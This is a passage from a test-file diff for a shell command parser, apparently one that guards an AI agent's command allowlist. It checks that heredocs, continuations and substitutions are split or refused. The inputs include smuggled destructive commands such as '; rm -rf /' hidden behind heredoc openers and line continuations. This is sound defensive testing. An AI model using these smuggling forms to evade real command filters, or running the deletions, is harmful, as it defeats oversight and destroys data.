+				name: "fails closed on & starting the delimiter word",
+				input: "cat <<&x\nb\n&x",
+				commands: ["cat <<&x\nb\n&x"],
+				error: "heredoc",
+			},
+			{
+				name: "fails closed on ; starting the delimiter word",
+				input: "cat <<;x\nb\n;x",
+				commands: ["cat <<;x\nb\n;x"],
+				error: "heredoc",
+			},
+			{
+				name: "fails closed on < starting the delimiter word",
+				input: "cat << <x\nb\nE",
+				commands: ["cat << <x\nb\nE"],
+				error: "heredoc",
+			},
+			{
+				name: "fails closed on > starting the delimiter word",
+				input: "cat <<>x\nb\n>x",
+				commands: ["cat <<>x\nb\n>x"],
+				error: "heredoc",
+			},
+			{
+				name: "ends the delimiter word at a glued | and splits the tail",
+				input: "cat <<E|x\nb\nE",
+				commands: ["cat <<E\nb\nE", "x"],
+				error: null,
+			},
+			{
+				name: "ends the delimiter word at a glued & and splits the tail",
+				input: "cat <<E&x\nb\nE",
+				commands: ["cat <<E\nb\nE", "x"],
+				error: null,
+			},
+			{
+				name: "ends the delimiter word at a glued ; and splits the tail",
+				input: "cat <<E;x\nb\nE",
+				commands: ["cat <<E\nb\nE", "x"],
+				error: null,
+			},
+			{
+				name: "ends the delimiter word at a glued < redirect",
+				input: "cat <<E<x\nb\nE",
+				commands: ["cat <<E\nb\nE < x"],
+				error: null,
+			},
+			{
+				name: "ends the delimiter word at a glued > redirect",
+				input: "cat <<E>x\nb\nE",
+				commands: ["cat <<E\nb\nE > x"],
+				error: null,
+			},
+		]
+
+		const singleQuoteEscapeRows: Array<{
+			name: string
+			input: string
+			commands: string[]
+			error: "heredoc" | null
+		}> = [
+			{
+				name: "keeps a backslash literal inside a single-quoted remainder region",
+				input: "cat <<E 'a\\'#x ; rm x\nbody\nE",
+				commands: ["cat <<E\nbody\nE a\\#x", "rm x"],
+				error: null,
+			},
+		]
+
+		it.each(singleQuoteEscapeRows)("$name", ({ input, commands, error }) => {
+			// Inside single quotes bash reads a backslash as literal, so `'a\'`
+			// closes at the second `'` and `; rm x` stays live syntax. The walk's
+			// `quote !== "'"` exemption owns that reading: dropping it makes the
+			// walk consume `\'` as an escape pair, carry the single-quote region
+			// across the newline, and fold `; rm x` into one masked word.
+			const result = parseCommand(input)
+			expect(result.commands).toEqual(commands)
+			expect(result.parseError?.quoteType ?? null).toBe(error)
+		})
+
+		it.each(delimiterBreakRows)("$name", ({ input, commands, error }) => {
+			// Each metacharacter in the delimiter break sets ends the word at
+			// both positions. At word start the empty word plus the operator
+			// token is the shape bash rejects, so the opener fails closed.
+			// Glued after the word the operator is live syntax: the body
+			// closes at the terminator and the tail becomes a host segment (or
+			// redirect word text for `<`/`>`, which the tokenizer keeps with the
+			// word). Erasing an operator from either set absorbs it into the
+			// delimiter word: the start row loses its rejection and the glued
+			// row's terminator never matches, so one row per operator goes red.
+			const result = parseCommand(input)
+			expect(result.commands).toEqual(commands)
+			expect(result.parseError?.quoteType ?? null).toBe(error)
+		})
+
+		it("keeps # a delimiter word character and controls the no-word paths", () => {
+			// `#` never enters the delimiter break sets: the word keeps it, so
+			// a non-matching body fails like any unmatched delimiter and a
+			// matching body closes -- unchanged by the metacharacter guard.
+			const unmatched = parseCommand("cat <<#x\nhi\nE")
+			expect(unmatched.commands).toEqual(["cat <<#x\nhi\nE"])
+			expect(unmatched.parseError?.quoteType).toBe("heredoc")
+			const matched = parseCommand("cat <<#x\nhi\n#x")
+			expect(matched.parseError).toBeNull()
+			expect(matched.commands).toEqual(["cat <<#x\nhi\n#x"])
+			// End-of-input control for the guard's boundary clause: with no
+			// line ending at all the opener still fails closed, whether the
+			// guard or the opener-line check reports it.
+			const atEof = parseCommand("cat <<")
+			expect(atEof.commands).toEqual(["cat <<"])
+			expect(atEof.parseError?.quoteType).toBe("heredoc")
+		})
+
+		it("splits a chain after a group closer glued to # in the opener remainder", () => {
+			// bash balances the inner `(ls)` group before the `$( … )` closer,
+			// so the closer ends the region, the glued `#` takes the
+			// placeholder, and `rm y` stays live. Dropping the group tracking
+			// pops the frame at the inner `)`, lands the closer early, and lets
+			// the `#` read as a word-initial comment that swallows the tail.
+			const { commands, parseError } = parseCommand("cat <<E $( (ls) )#x ; rm y\nhi\nE")
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(["cat <<E\nhi\nE $ ( ( ls ) ) #x", "( ls )", "rm y"])
+		})
+
+		it("extracts the substitution whose opener a line continuation forms inside a parameter expansion", () => {
+			// The shell removes backslash-newline pairs before tokenizing, so a
+			// `$` and the `(` or `{` on the other side of a continuation are
+			// adjacent to the shell: the expansions below really open, and the
+			// substitution inside each must be extracted as its own segment
+			// instead of vanishing into the expansion's verbatim host text.
+			const printf = parseCommand("echo ${x:-$\\\n(printf RAN > ran.marker)}\n")
+			expect(printf.parseError).toBeNull()
+			expect(printf.commands).toEqual(["echo ${x:-$\\\n(printf RAN > ran.marker)}", "printf RAN > ran.marker"])
+			const rm = parseCommand("echo ${x:-$\\\n(rm -rf /tmp/join.marker)}\n")
+			expect(rm.parseError).toBeNull()
+			expect(rm.commands).toEqual(["echo ${x:-$\\\n(rm -rf /tmp/join.marker)}", "rm -rf /tmp/join.marker"])
+			const brace = parseCommand("echo a$\\\n{x:-$(printf RAN > ran.marker)}\n")
+			expect(brace.parseError).toBeNull()
+			expect(brace.commands).toEqual(["echo a$\\\n{x:-$(printf RAN > ran.marker)}", "printf RAN > ran.marker"])
+			const processSub = parseCommand("echo ${x:-<\\\n(printf RAN > ran.marker)}\n")
+			expect(processSub.parseError).toBeNull()
+			expect(processSub.commands).toEqual([
+				"echo ${x:-<\\\n(printf RAN > ran.marker)}",
+				"printf RAN > ran.marker",
+			])
+			const processTop = parseCommand("cat <\\\n(printf RAN > ran.marker)\n")
+			expect(processTop.parseError).toBeNull()
+			expect(processTop.commands).toEqual(["cat", "printf RAN > ran.marker"])
+		})
+
+		it("extracts through stacked and escaped-backslash continuation runs", () => {
+			// The shell removes each continuation pair independently, so a run of
+			// pairs still joins the opener bytes, and an `\\` escape pair consumes
+			// only itself: the `$` standing after it still joins across the
+			// continuation that follows. Each payload below is a command bash
+			// substitutes and executes, so each is extracted on its own.
+			const stacked = parseCommand("echo ${x:-$\\\n\\\n(printf RAN > ran.marker)}\n")
+			expect(stacked.parseError).toBeNull()
+			expect(stacked.commands).toEqual([
+				"echo ${x:-$\\\n\\\n(printf RAN > ran.marker)}",
+				"printf RAN > ran.marker",
+			])
+			const escaped = parseCommand("echo ${x:-\\\\$\\\n(printf RAN > ran.marker)}\n")
+			expect(escaped.parseError).toBeNull()
+			expect(escaped.commands).toEqual([
+				"echo ${x:-\\\\$\\\n(printf RAN > ran.marker)}",
+				"printf RAN > ran.marker",
+			])
+			const escapedTop = parseCommand("echo a\\\\$\\\n(printf RAN > ran.marker)\n")
+			expect(escapedTop.parseError).toBeNull()
+			expect(escapedTop.commands).toEqual(["echo a\\", "printf RAN > ran.marker"])
+		})
+
+		it("keeps a surviving byte unjoined and a join-formed ANSI-C word opaque", () => {
+			// Continuation removal deletes exactly the backslash and the newline,
+			// so a space between them keeps `$` and `(` apart for the shell: the
+			// word below is never substituted, and the parser must neither open a
+			// frame nor refuse it. A `$'` word joined the same way quotes its
+			// interior for the shell, and that interior stays unextracted.
+			const spaced = parseCommand("echo ${x:-$\\ (rm -rf /tmp/example)}\n")
+			expect(spaced.parseError).toBeNull()
+			expect(spaced.commands).toEqual(["echo ${x:-$\\ (rm -rf /tmp/example)}"])
+			const ansiC = parseCommand("echo ${x:-$\\\n'a$(printf RAN > ran.marker)'}\n")
+			expect(ansiC.parseError).toBeNull()
+			expect(ansiC.commands).toEqual(["echo ${x:-$\\\n'a$(printf RAN > ran.marker)'}"])
+		})
+
+		it("forms substitution openers across CRLF continuation runs", () => {
+			// On the reference shell a carriage return between the continuation
+			// backslash and the newline does not stop the join, so a `$` or `<`
+			// and the opener byte behind a backslash-CR-LF run are adjacent to
+			// that shell: each substitution below really executes, so the parser
+			// must open its frame and extract the payload instead of leaving it
+			// masked in the expansion's verbatim host text. The CR-joined `{` is
+			// the exception the next test covers: the reference shell reads that
+			// join only to reject the whole line, so it fails closed.
+			const inExpansion = parseCommand("echo ${x:-$\\\r\n(printf RAN > ran.marker)}\n")
+			expect(inExpansion.parseError).toBeNull()
+			expect(inExpansion.commands).toEqual([
+				"echo ${x:-$\\\r\n(printf RAN > ran.marker)}",
+				"printf RAN > ran.marker",
+			])
+			const topLevel = parseCommand("echo $\\\r\n(printf RAN > ran.marker)\n")
+			expect(topLevel.parseError).toBeNull()
+			expect(topLevel.commands).toEqual(["echo", "printf RAN > ran.marker"])
+			const braceInput = "echo a$\\\r\n{x:-$(printf RAN > ran.marker)}\n"
+			const brace = parseCommand(braceInput)
+			expect(brace.parseError?.quoteType).toBe("ambiguous-opener")
+			// A fail-closed result returns the raw input verbatim as its one
+			// opaque token.
+			expect(brace.commands).toEqual([braceInput])
+			const processSub = parseCommand("echo ${x:-<\\\r\n(printf RAN > ran.marker)}\n")
+			expect(processSub.parseError).toBeNull()
+			expect(processSub.commands).toEqual([
+				"echo ${x:-<\\\r\n(printf RAN > ran.marker)}",
+				"printf RAN > ran.marker",
+			])
+			const processTop = parseCommand("cat <\\\r\n(printf RAN > ran.marker)\n")
+			expect(processTop.parseError).toBeNull()
+			expect(processTop.commands).toEqual(["cat", "printf RAN > ran.marker"])
+			const processOut = parseCommand("echo >\\\r\n(printf RAN > ran.marker)\n")
+			expect(processOut.parseError).toBeNull()
+			expect(processOut.commands).toEqual(["echo", "printf RAN > ran.marker"])
+		})
+
+		it("fails closed on a brace opener its CR continuation joins ambiguously", () => {
+			// A `{` that meets its `$` only through a backslash-CR-LF run is
+			// ambiguous between read models of the executing shell, unlike the
+			// `(` arms the tests above show the reference shell executing. The
+			// scan masks nothing behind the opener and refuses the input
+			// instead, so no allowlisted host word can carry the remainder.
+			const crBrace = "echo $\\\r\n{ touch /tmp/cr.marker; }\n"
+			expect(parseCommand(crBrace).parseError?.quoteType).toBe("ambiguous-opener")
+			expect(parseCommand(crBrace).commands).toEqual([crBrace])
+			// The strict adjacency rule still opens the expansion: the
+			// adjacent and LF-only joins parse as before.
+			expect(parseCommand("echo a$\\\n{x:-$(printf RAN > ran.marker)}\n").parseError).toBeNull()
+			expect(parseCommand("echo ${x:-2}").parseError).toBeNull()
+			// The CR tolerance stays exactly where the reference shell joins:
+			// the `(` arms keep extracting their payloads across CR runs.
+			const crParen = parseCommand("echo $\\\r\n(printf RAN > ran.marker)\n")
+			expect(crParen.parseError).toBeNull()
+			expect(crParen.commands).toEqual(["echo", "printf RAN > ran.marker"])
+		})
+
+		it("fails closed on a CR-joined brace opener nested inside an expansion", () => {
+			// The nested `{` arm applies the same strictness as the top-level
+			// one, so the enclosing expansion cannot mask it away.
+			const nested = "echo ${x:-a$\\\r\n{y:-2}}"
+			expect(parseCommand(nested).parseError?.quoteType).toBe("ambiguous-opener")
+			expect(parseCommand(nested).commands).toEqual([nested])
+			// The LF-only twin still parses: the strictness is scoped to CR.
+			expect(parseCommand("echo ${x:-a$\\\n{y:-2}}").parseError).toBeNull()
+		})
+
+		it("fails closed on a glob word inside a re-scanned substitution payload", () => {
+			// shell-quote reduces a glob word to an inert `glob` token whose
+			// pattern the reconstruction drops, so the re-scanned words would
+			// under-approximate what bash glob-expands. The payload fails
+			// closed on the shared error channel.
+			const input = "echo $(rm* /tmp/victim)"
+			const { commands, parseError } = parseCommand(input)
+			expect(parseError?.quoteType).toBe("payload-glob")
+			expect(commands).toEqual([input])
+			// Payloads without a glob token are unchanged: the accept path.
+			const clean = parseCommand("echo $(printf x /tmp/victim)")
+			expect(clean.parseError).toBeNull()
+			expect(clean.commands).toEqual(["echo", "printf x /tmp/victim"])
+			// The strict rule is scoped to re-scanned payloads: a host-level
+			// glob word stays host text exactly as before, so an ordinary
+			// globbed host line still parses.
+			expect(parseCommand("ls *.ts").parseError).toBeNull()
+		})
+
+		it("expands placeholders in the payload-glob message excerpt", () => {
+			// The excerpt quotes the rejected line back to the user and the
+			// model, so it must render the expanded text rather than the raw
+			// masked line with its placeholder sentinel and internal names.
+			const { parseError } = parseCommand("echo $(rm* 'a $b')")
+			expect(parseError?.quoteType).toBe("payload-glob")
+			expect(parseError?.message).not.toContain("\x00")
+			expect(parseError?.message).not.toMatch(/\0[A-Z]\d+\0/)
+			expect(parseError?.message).toContain("glob pattern inside a substitution payload")
+			expect(parseError?.message).toContain("rm* 'a $b'")
+		})
+
+		it("keeps a carriage return inside a delimiter word from joining a dollar to a quote byte", () => {
+			// The delimiter-word walk asks which bytes the tokenizer removes
+			// inside a word, and a carriage return is not one of them: the run
+			// stops at the CR, the CR stays inside the construct's region, and
+			// the heredoc fails closed. That strict reading is the reviewed
+			// delimiter-word invariant and the CR-tolerant opener reading must
+			// not reach it.
+			const input = "cat <<$\\\r\n'EOF'\nbody\nEOF\n"
+			const { commands, parseError } = parseCommand(input)
+			expect(commands).toEqual([input])
+			expect(parseError?.quoteType).toBe("heredoc")
+		})
+
+		it("forms openers across continuation runs carrying several carriage returns", () => {
+			// On the reference shell a backslash line continuation still joins
+			// when several carriage returns sit before the newline, and when a
+			// stack mixes CRLF and LF pairs: every shape below substitutes and
+			// executes, so each opener must be recognized and its payload
+			// extracted.
+			const doubled = parseCommand("echo ${x:-$\\\r\r\n(printf RAN > ran.marker)}\n")
+			expect(doubled.parseError).toBeNull()
+			expect(doubled.commands).toEqual([
+				"echo ${x:-$\\\r\r\n(printf RAN > ran.marker)}",
+				"printf RAN > ran.marker",
+			])
+			const mixed = parseCommand("echo ${x:-$\\\n\\\r\n(printf RAN > ran.marker)}\n")
+			expect(mixed.parseError).toBeNull()
+			expect(mixed.commands).toEqual([
+				"echo ${x:-$\\\n\\\r\n(printf RAN > ran.marker)}",
+				"printf RAN > ran.marker",
+			])
+			const stacked = parseCommand("echo ${x:-$\\\r\n\\\r\n(printf RAN > ran.marker)}\n")
+			expect(stacked.parseError).toBeNull()
+			expect(stacked.commands).toEqual([
+				"echo ${x:-$\\\r\n\\\r\n(printf RAN > ran.marker)}",
+				"printf RAN > ran.marker",
+			])
+		})
+
+		it("routes payloads through frames opened inside joined substitution bodies", () => {
+			// The joins below open a frame nested inside another open frame, so
+			// each payload travels the region walk's closer and comment rules on
+			// its way out: a joined `>(` inside a substitution inside an
+			// expansion, an escaped byte that keeps a `#` word content inside a
+			// joined frame, a real comment that swallows the frame's own closer
+			// only after the line ends, and a joined `{` whose expansion must
+			// stay accounted inside its enclosing one. Every payload bash
+			// substitutes here must reach the segment list exactly once.
+			// A payload nested in a joined expansion reaches the list through
+			// the re-scan of its enclosing payload, so the enclosing command is
+			// emitted before it — the same order the top-level twins show.
+			const outNested = parseCommand("echo ${x:-$(cat >\\\n(printf b > b.marker))}\n")
+			expect(outNested.parseError).toBeNull()
+			expect(outNested.commands).toEqual([
+				"echo ${x:-$(cat >\\\n(printf b > b.marker))}",
+				"cat",
+				"printf b > b.marker",
+			])
+			const escapedTop = parseCommand("echo $(cat <\\\n(printf a\\ #c))\n")
+			expect(escapedTop.parseError).toBeNull()
+			expect(escapedTop.commands).toEqual(["echo", "cat", "printf a #c"])
+			const escapedArith = parseCommand("echo $(( $(cat <\\\n(printf a\\ #c)) ))\n")
+			expect(escapedArith.parseError).toBeNull()
+			expect(escapedArith.commands).toEqual(["echo $(( $(cat <\\\n(printf a\\ #c)) ))", "cat", "printf a #c"])
+			const comment = parseCommand("echo $(cat <\\\n(printf x # )y\n))\n")
+			expect(comment.parseError).toBeNull()
+			expect(comment.commands).toEqual(["echo", "cat", "printf x"])
+			const commentNested = parseCommand("echo ${x:-$(cat <\\\n(printf x # )y\n))}\n")
+			expect(commentNested.parseError).toBeNull()
+			expect(commentNested.commands).toEqual(["echo ${x:-$(cat <\\\n(printf x # )y\n))}", "cat", "printf x"])
+			// Drop guard: dedup must remove the duplicate emission, not a real
+			// segment. A fix that dropped the payload (or the host word) instead
+			// of its second emission would still produce a three-element list, so
+			// each payload and host word is additionally asserted to appear
+			// exactly once.
+			const countSegments = (list: string[], segment: string): number =>
+				list.filter((command) => command === segment).length
+			expect(countSegments(outNested.commands, "printf b > b.marker")).toBe(1)
+			expect(countSegments(outNested.commands, "cat")).toBe(1)
+			expect(countSegments(commentNested.commands, "printf x")).toBe(1)
+			expect(countSegments(commentNested.commands, "cat")).toBe(1)
+			const braceNested = parseCommand("echo ${x:-a$\\\n{y:-2}}")
+			expect(braceNested.parseError).toBeNull()
+			expect(braceNested.commands).toEqual(["echo ${x:-a$\\\n{y:-2}}"])
+			const bracePayload = parseCommand("echo ${x:-$\\\n{y:$(printf X > x.marker)}}")
+			expect(bracePayload.parseError).toBeNull()
+			expect(bracePayload.commands).toEqual(["echo ${x:-$\\\n{y:$(printf X > x.marker)}}", "printf X > x.marker"])
+		})
+
+		it("routes arithmetic payloads through the directly enclosing expansion", () => {
+			// The arithmetic branch delivers its collected payloads only when a
+			// parameter expansion is the frame directly enclosing it. Payloads
+			// deeper in a chain arrive when the enclosing frame's text is
+			// re-scanned, so an unconditional push would emit them a second
+			// time, and skipping the directly-enclosing case would drop them.
+			const arithInParam = parseCommand("echo ${p:-$(( $(printf b) * 1 ))}\n")
+			expect(arithInParam.parseError).toBeNull()
+			expect(arithInParam.commands).toEqual(["echo ${p:-$(( $(printf b) * 1 ))}", "printf b"])
+			const arithInSubInParam = parseCommand("echo ${p:-$(echo $(( $(printf d) * 1 )))}\n")
+			expect(arithInSubInParam.parseError).toBeNull()
+			expect(arithInSubInParam.commands).toEqual([
+				"echo ${p:-$(echo $(( $(printf d) * 1 )))}",
+				"echo $(( $(printf d) * 1 ))",
+				"printf d",
+			])
+		})
+	})
+
+	describe("heredoc opener-remainder walk and backslash-run guard", () => {
+		// The text after the delimiter word on the opener line is live syntax
+		// the outer scan never revisits: a dedicated walk applies the comment,
+		// region, and escape policy to it, and a trailing backslash-run guard
+		// decides whether an odd unquoted run joins the body onto the opener
+		// line. Each pin below walks a branch of one of the two mechanisms and
+		// pins bytes only that branch produces.
+
+		it("emits an escaped # in the opener remainder verbatim", () => {
+			// The escape-pair branch forwards `\<char>` whole, so the `#` is
+			// word content and no comment starts. Shortening or reversing the
+			// emitted pair shifts every later index, which the exact host
+			// bytes here catch.
+			const { commands, parseError } = parseCommand("cat <<E \\#x\nbody\nE\n")
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(["cat <<E\nbody\nE #x"])
+		})
+
+		it("keeps a # directly after an escaped blank on the placeholder path", () => {
+			// The escape pair ends one index past the blank, so the `#`
+			// continues the word and takes the opaque placeholder instead of
+			// opening a comment. Moving the tracked escape end two bytes
+			// earlier makes the `#` word-initial and drops the `#b` tail.
+			const { commands, parseError } = parseCommand("cat <<E a\\ #b\nbody\nE\n")
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(["cat <<E\nbody\nE a #b"])
+		})
+
+		it("treats a backtick region in the opener remainder as opaque until its closer", () => {
+			// Backticks do not nest: the walk treats the region as opaque until
+			// the closer, and the closer ends the frame. The extracted payload
+			// plus the split host bytes pin the frame's open, opacity, and
+			// close together.
+			const { commands, parseError } = parseCommand("cat <<E `a#b`\nbody\nE\n")
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(["cat <<E\nbody\nE `a", "a#b"])
+		})
+
+		it("starts the opener-remainder comment at a # after a bare (", () => {
+			// A bare `(` with no region open is host grouping, so the `#` sits
+			// at a word start and opens the comment bash sees: the host stops
+			// right after the paren. Inspecting the character after the `#`
+			// instead of before it reads the `#` as mid-word and keeps the
+			// tail.
+			const { commands, parseError } = parseCommand("cat <<E x(#y\nbody\nE\n")
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(["cat <<E\nbody\nE x ("])
+		})
+
+		const guardRows: Array<{ name: string; input: string; commands: string[]; error: "heredoc" | null }> = [
+			{
+				name: "fails closed on an odd unquoted backslash run",
+				input: "cat <<E x\\\nbody\nE\n",
+				commands: ["cat <<E x\\\nbody\nE\n"],
+				error: "heredoc",
+			},
+			{
+				name: "joins nothing after an even unquoted run and closes at the terminator",
+				input: "cat <<E x\\\\\nbody\nE\nbody2\nE\n",
+				commands: ["cat <<E\nbody\nE x\\", "body2", "E"],
+				error: null,
+			},
+			{
+				name: "keeps a single-quoted backslash literal at the run",
+				input: "cat <<E 'x\\\nbody\nE\n",
+				commands: ["cat <<E\nbody\nE x"],
+				error: null,
+			},
+			{
+				name: "fails closed on an odd run inside double quotes",
+				input: 'cat <<E "x\\\nbody\nE\n',
+				commands: ['cat <<E "x\\\nbody\nE\n'],
+				error: "heredoc",
+			},
+			{
+				name: "fails closed on an odd run after a closed double quote",
+				input: 'cat <<E "a"\\\nbody\nE\n',
+				commands: ['cat <<E "a"\\\nbody\nE\n'],
+				error: "heredoc",
+			},
+			{
+				name: "fails closed on an odd run after an escaped backslash inside double quotes",
+				input: 'cat <<E "\\\\"\\\nbody\nE\n',
+				commands: ['cat <<E "\\\\"\\\nbody\nE\n'],
+				error: "heredoc",
+			},
+			{
+				name: "fails closed on an odd run after a closed single quote",
+				input: "cat <<E 'a'\\\nbody\nE\n",
+				commands: ["cat <<E 'a'\\\nbody\nE\n"],
+				error: "heredoc",
+			},
+			{
+				name: "keeps a run covered by an open single quote silent",
+				input: "cat <<E 'a\\\\\\\nbody\nE\nbody2\nE\n",
+				commands: ["cat <<E\nbody\nE a\\", "body2", "E"],
+				error: null,
+			},
+			{
+				name: "fails closed on an odd run after an escaped double quote",
+				input: 'cat <<E \\"\\\nbody\nE\n',
+				commands: ['cat <<E \\"\\\nbody\nE\n'],
+				error: "heredoc",
+			},
+			{
+				// `\'` keeps the following `'` escaped, so the run is unquoted
+				// and joins the body's `; rm -rf /` line onto the opener. The
+				// guard's unquoted escape-advance branch decides this; losing
+				// it reads the run as single-quoted and accepts the join.
+				name: "fails closed on an odd run after an escaped single quote",
+				input: "cat <<E a\\'\\\n; rm -rf /\nE\n",
+				commands: ["cat <<E a\\'\\\n; rm -rf /\nE\n"],
+				error: "heredoc",
+			},
+			{
+				// The `\"` pairs inside the double quote, the following `'`
+				// starts a single-quote region that the double-quote branch's
+				// advance never skips, and the run joins the deny line. Walking
+				// the `'` as double-quote content accepts the construct.
+				name: "fails closed on an odd run started after a double-quoted region ends in an open single quote",
+				input: 'cat <<E "a\\"b\'\\\n; rm -rf /\nE\n',
+				commands: ['cat <<E "a\\"b\'\\\n; rm -rf /\nE\n'],
+				error: "heredoc",
+			},
+			{
+				// `"a"` closes, then `b'` opens a single quote that stays open
+				// into the run: the guard must see the single-quote state at
+				// the run and stay silent. A walk that skips the post-quote
+				// bare text enters the wrong branch and rejects this opener.
+				name: "keeps an open single quote silent over the run after a closed double quote",
+				input: 'cat <<E "a"b\'\\\n; rm -rf /\nE\n',
+				commands: ["cat <<E\n; rm -rf /\nE ab "],
+				error: null,
+			},
+			{
+				// Host parens with no region open are ordinary text; only a
+				// real `$` opener pushes a frame. Reading every character as a
+				// potential opener (or any `$` as one) rebalances the frames
+				// here and shifts the masked comment bytes.
+				name: "keeps bare host parens in the remainder as ordinary text",
+				input: "cat <<E x()#y\nbody\nE\n",
+				commands: ["cat <<E\nbody\nE x ( )"],
+				error: null,
+			},
+			{
+				// A `$` followed by a plain letter is not an opener: it stays
+				// ordinary text and only the real `$(a)` region masks. An
+				// opener test that ignores the next character pushes a phantom
+				// frame for `$x` and rewrites the word-continuation `#`.
+				name: "keeps a $ before a plain letter ordinary in the remainder",
+				input: "cat <<E $x$(a)#y\nbody\nE\n",
+				commands: ["cat <<E\nbody\nE $ ( a ) #y", "a"],
+				error: null,
+			},
+			{
+				// The `#` sits directly at the region closer, so it continues
+				// the word as a placeholder and the `; rm y` tail stays live
+				// syntax the decomposition surfaces. Losing the closer index
+				// reads the `#` as a comment start and swallows the tail.
+				name: "continues the word at a # directly after a region closer",
+				input: "cat <<E $a$(b)#; rm y\nbody\nE\n",
+				commands: ["cat <<E\nbody\nE $ ( b ) #", "b", "rm y"],
+				error: null,
+			},
+			{
+				// Inside the `(`-closing frame, the `[` frame's own `]` closer
+				// is the only one that pops it: the `)` in between is a group
+				// paren. Swapping the `[` detection for the wrong closer (or
+				// dropping it) ends the outer region at the inner `)` and
+				// changes every byte after it.
+				name: "keeps a [ frame inside a ( frame closed only by its ]",
+				input: "cat <<E $(a$[b)c]d)#x\nbody\nE\n",
+				commands: ["cat <<E\nbody\nE $ ( a$[b ) c]d ) #x", "a$[b)c]d"],
+				error: null,
+			},
+			{
+				// A `{` frame closes at its `}`, so the following `$(b)` opens
+				// and closes as its own region and the `#` after its closer
+				// continues the word. The expansion travels verbatim with its
+				// placeholder. A closer picked as `)` or `]` for the `{` frame
+				// never pops it, changing the masked bytes and the split.
+				name: "closes a { frame at its } closer in the remainder",
+				input: "cat <<E ${a}$(b)#c\nbody\nE\n",
+				commands: ["cat <<E\nbody\nE ${a}$ ( b ) #c", "b"],
+				error: null,
+			},
+			{
+				// Symmetric to the `{` frame row: the `[` frame's closer is
+				// `]`, and mis-picking `}` or `)` rebalances the following
+				// `$(b)` region. The masked host bytes plus the split payload
+				// pin the exact closer character.
+				name: "closes a [ frame at its ] closer in the remainder",
+				input: "cat <<E $[a]$(b)#c\nbody\nE\n",
+				commands: ["cat <<E\nbody\nE $[a]$ ( b ) #c", "b"],
+				error: null,
+			},
+			{
+				// Unmatched host parens before a region stay ordinary text;
+				// the walk's frame bookkeeping starts at the `$(`. Reading the
+				// double-paren detection from the wrong index here (or the
+				// wrong distance) treats the leading `((` differently and
+				// shifts every following host byte.
+				name: "keeps unmatched host parens around a region live in the remainder",
+				input: "cat <<E ((x$(b))#y\nbody\nE\n",
+				commands: ["cat <<E\nbody\nE ( ( x$ ( b ) )", "b"],
+				error: null,
+			},
+			{
+				// Two nested `(`-closing frames pop one at a time on the two
+				// `)`, so the `#` after the outer closer continues the word.
+				// A frame that consumes both closers (or a group depth started
+				// for a non-`$((` opener) leaves the frames unbalanced and
+				// rewrites the tail.
+				name: "closes nested ( frames one at a time in the remainder",
+				input: "cat <<E $(a$(b))#y\nbody\nE\n",
+				commands: ["cat <<E\nbody\nE $ ( a$ ( b ) ) #y", "a", "b"],
+				error: null,
+			},
+			{
+				// Only the opener's own character closes a quote region, so
+				// the inner apostrophes stay double-quote content and the
+				// region never closes. The `#` inside the open region is
+				// ordinary content and the tail rides the quotes into the
+				// dropped bytes. Any walk whose quote state diverges here
+				// leaves `#c` in the emitted host instead of dropping it.
+				name: "keeps an inner apostrophe from closing a double-quoted remainder region",
+				input: "cat <<E \"a'b'#c\nbody\nE\n",
+				commands: ["cat <<E\nbody\nE ab"],
+				error: null,
+			},
+			{
+				// Symmetric to the double-quote row: a `"` inside a
+				// single-quote region is literal, the region stays open, and
+				// the `#` inside it is never a mask or comment decision the
+				// walk takes. Closing on the wrong character keeps `#c`.
+				name: "keeps an inner double quote from closing a single-quoted remainder region",
+				input: 'cat <<E \'a"b"#c\nbody\nE\n',
+				commands: ["cat <<E\nbody\nE ab"],
+				error: null,
+			},
+			{
+				// The closer test compares against the opener's character:
+				// the closing `"` ends the region and the `#` riding at the
+				// close continues the word as a placeholder, so the tail
+				// survives. A walk that ends the region at the inner
+				// apostrophe re-opens it at the closer and swallows `#c`.
+				name: "continues the word at a # after a closed double quote",
+				input: 'cat <<E "a\'b"#c\nbody\nE\n',
+				commands: ["cat <<E\nbody\nE a'b#c"],
+				error: null,
+			},
+			{
+				// Symmetric closer-boundary row on a single-quote region:
+				// only `'` closes `'`. Mis-testing the character leaves the
+				// walk in the wrong quote state at the `#` and drops `#c`.
+				name: "continues the word at a # after a closed single quote",
+				input: "cat <<E 'a\"b'#c\nbody\nE\n",
+				commands: ['cat <<E\nbody\nE a"b#c'],
+				error: null,
+			},
+			{
+				// `>(…)` pushes a `)`-closing frame exactly like `<(…)`, so
+				// the chain's final `)` is a region closer and the `#`
+				// directly at it continues the word. A walk that never opens
+				// the frame reads the `#` after a bare `)` as word-initial
+				// and drops `#c` as a comment.
+				name: "keeps a # after a chained >(…) closer as word content",
+				input: "cat <<E >(a)>(b)#c\nbody\nE\n",
+				commands: ["cat <<E\nbody\nE >( a ) >( b ) #c", "a", "b"],
+				error: null,
+			},
+			{
+				// `>` only opens a process-substitution frame when `(`
+				// follows immediately; here it is an ordinary redirect that
+				// the walk forwards as host text. A walk that opens the
+				// frame regardless of the next character swallows the
+				// target's first character into the frame bytes.
+				name: "keeps a plain > redirect out of the process-substitution frame",
+				input: "cat <<E >out\nbody\nE\n",
+				commands: ["cat <<E\nbody\nE > out"],
+				error: null,
+			},
+			{
+				// The `<` counterpart: without an immediately following `(`
+				// the redirect stays ordinary text. The frame-misfire bytes
+				// differ from these pins in the character right after `<`.
+				name: "keeps a plain < redirect out of the process-substitution frame",
+				input: "cat <<E <in\nbody\nE\n",
+				commands: ["cat <<E\nbody\nE < in"],
+				error: null,
+			},
+			{
+				// The `#` rides the inner `$(b)` pop while the outer `$[ ]`
+				// frame stays open, so it is ordinary frame content and bash
+				// drops the `; rm -rf /]d` tail as a comment. Marking the
+				// closer at an inner pop instead keeps " #c" in the host and
+				// exposes the tail as a fabricated word segment.
+				name: "keeps a # riding an inner closer inside an open outer frame as frame content",
+				input: "cat <<E $[a$(b)#c; rm -rf /]d\nbody\nE\n",
+				commands: ["cat <<E\nbody\nE $[a$ ( b )", "b"],
+				error: null,
+			},
+			{
+				// Same class without the deny tail: the `#c` stays inside the
+				// still-open `$[ ]` frame and the `]d` bytes ride the frame's
+				// masked host. Closer bookkeeping fired on the inner pop
+				// emits " #c" into the emitted bytes instead.
+				name: "keeps a # riding an inner closer out of the host bytes of an open outer frame",
+				input: "cat <<E $[a$(b)#c]d\nbody\nE\n",
